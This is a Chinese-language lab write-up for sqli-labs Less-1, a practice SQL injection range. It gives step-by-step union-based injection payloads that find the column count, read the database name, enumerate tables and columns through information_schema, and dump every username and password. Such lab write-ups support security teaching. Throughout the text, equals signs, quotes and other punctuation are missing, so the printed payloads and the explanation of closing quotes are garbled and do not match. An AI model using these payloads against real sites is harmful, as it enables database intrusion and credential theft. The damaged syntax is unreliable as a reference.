sqli-labs靶场 less-1
一、注入点这个网站连接数据库后端的查询用户是用id查询的并且请求方式是get所以在传入接口的网址后面添加id2或者别的数字就会查询id1的用户信息?id1二、查看有多少字段?id1 order by 3-- //要查询表id1的数据有没有三个字段是要提前闭合后台自带的引号输入id1,后台接收的为SELECT * FROM users WHERE id1如果输入的是?id1 order by 3-- 后台接收的就是SELECT * FROM users WHERE id1 order by 3 --但要的效果为SELECT * FROM users WHERE id1 order by 3所以在id1后面添加,和前面的相闭合而--是注释的意思把后面的注释掉最终后台接收的语句为SELECT * FROM users WHERE id1 order by 3 --SELECT * FROM users WHERE id1 order by 3 这后面的被--注释掉了而order by在数据库中是排序的意思order by 3按照第三列排序但在这里的本质目的是判断有多少个字段比如id字段、name字段、password字段输入order by 3时页面正常说明有三个字段而输入order by 4出现错误提示order by子句中不存在名为4的列也就是这个表只有三个字段三个列三、将查出的id-1的数据插入三列假数据123查看有哪些数据插入被显示?id-1 union select 1,2,3 --而id-1永远查询不到页面也就只能显示我们插入的数据union联合把两条 SELECT 查询的结果合并成一张表显示出来从图中可以看到23显示出来所以在后面查询数据库名称和数据表时可以将语句写在第二、三字段中四、查询当前使用的数据库名?id-1 union select 1,database(),3--database()是mysql自带的函数--查询当前正在使用的数据库名字也可以写成?id-1 union select 1,3,database()--但是前面测试第一列不能显示结果所以要查看数据库名字只能放在23字段其他两个数据起到了一个占位的作用前面查出有三个字段如果只写两个列数不匹配会拒绝执行查询出来数据库名为security五、查看数据库有哪些表?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase() --group_concat()mysql自带的函数--将所有表名拼成一行显示括号内容是系统固定的值查看所有表名table_name group_concat(table_name)查看所有数据库名:table_schemagroup_concat(table_schema)查看所有字段名:column_namegroup_concat(column_name)information_schema:是mysql自带的一个大数据库记录了有哪些数据库有哪些表每个表有哪些字段列from information_schema.tables这句话的意思也就是从information_schema这个库里查找tables这个表表名是固定的tables这个表里还存放着其他的所有的表条件where table_schemadatabase()--只查询当前正在使用的这个数据库下面的表?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase() --所以这一整段的意思是查询id-1的用户和在information_schema数据库里的tables表里查询数据库名为当前使用的数据库里的所有表名信息并将所有表名拼成一行在第二个字段展示出来六、查看表有哪些字段?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers and table_schemadatabase() --同上七、查看表中所有的用户名和密码?id-1 union select 1,group_concat(username,0x3a,password),3 from security.users --group_concat(username,0x3a,password)将用户名和密码连接在一行用冒号隔开0x3a是冒号在前面已经查询用户名和密码是在哪一个表里在条件后面直接写表名就行